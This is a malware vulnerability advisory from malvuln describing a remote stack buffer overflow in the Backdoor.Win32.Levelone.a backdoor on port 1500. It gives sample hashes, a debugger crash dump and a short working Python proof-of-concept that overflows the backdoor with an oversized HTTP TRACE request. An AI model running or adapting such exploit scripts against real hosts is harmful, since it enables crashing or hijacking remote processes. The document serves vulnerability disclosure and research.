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Backdoor.Win32.Levelone.a MVID-2021-0020 Remote Stack Buffer Overflow

Backdoor.Win32.Levelone.a MVID-2021-0020 Remote Stack Buffer Overflow
Posted Jan 11, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Levelone.a malware suffers from a remote stack buffer overflow vulnerability.

tags | exploit, remote, overflow
systems | windows
SHA-256 | e1d2cc0b45ddab3f25a55ff4572d118f9c05e4c659e1cb2d656a3c307192802c

Backdoor.Win32.Levelone.a MVID-2021-0020 Remote Stack Buffer Overflow

Change Mirror Download
Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6a2d09c4527cf222e4e2571b074fcc0c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Levelone.a
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on Port 1500, sending a specially crafted HTTP TRACE request causes a buffer overflow and overwrites EIP with our payload. If testing you need delete the executable in order to run the malware again, c:\>del \Windows\SysWOW64\dllvector.exe
Packed with UPX so just upx -d to unpack.

Type: PE32
MD5: 6a2d09c4527cf222e4e2571b074fcc0c
Vuln ID: MVID-2021-0020
Dropped files: dllvector.exe
Network Access: Remote
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/10/2021

Memory Dump:

EAX : 000A139C
EBX : 0019FF70
ECX : 0040109A dllvector.0040109A
EDX : 773E9D70 ntdll.773E9D70
EBP : 000A13A4
ESP : 000A1380
ESI : FFFFFFFF
EDI : 0040801C dllvector.0040801C
EIP : 41414141


41414141 ?? ???

EXCEPTION_RECORD: 0019f7e8 -- (.exr 0x19f7e8)
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME: dllvector.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
+cbf7340
41414141 ?? ???

FAILED_INSTRUCTION_ADDRESS:
+cbf7340
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0019f838 -- (.cxr 0x19f838)
eax=0040b77e ebx=0040513c ecx=cbc27c7e edx=0019fbcc esi=0000663e edi=00006642
eip=41414141 esp=0019fc98 ebp=0019fcbc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41414141 ?? ???
Resetting default scope


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1500
JUNK="A"*7740
JUNK2="A"*7822
PAYLOAD="TRACE / "+JUNK+"HTTP/1."+JUNK+"\r\n"+MALWARE_HOST+"\r\nCookie: "+JUNK2+"\r\n\r\n"

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.Levelone.a / Remote Stack Buffer Overflow")
print("MD5: 6a2d09c4527cf222e4e2571b074fcc0c")
print("By Malvuln")


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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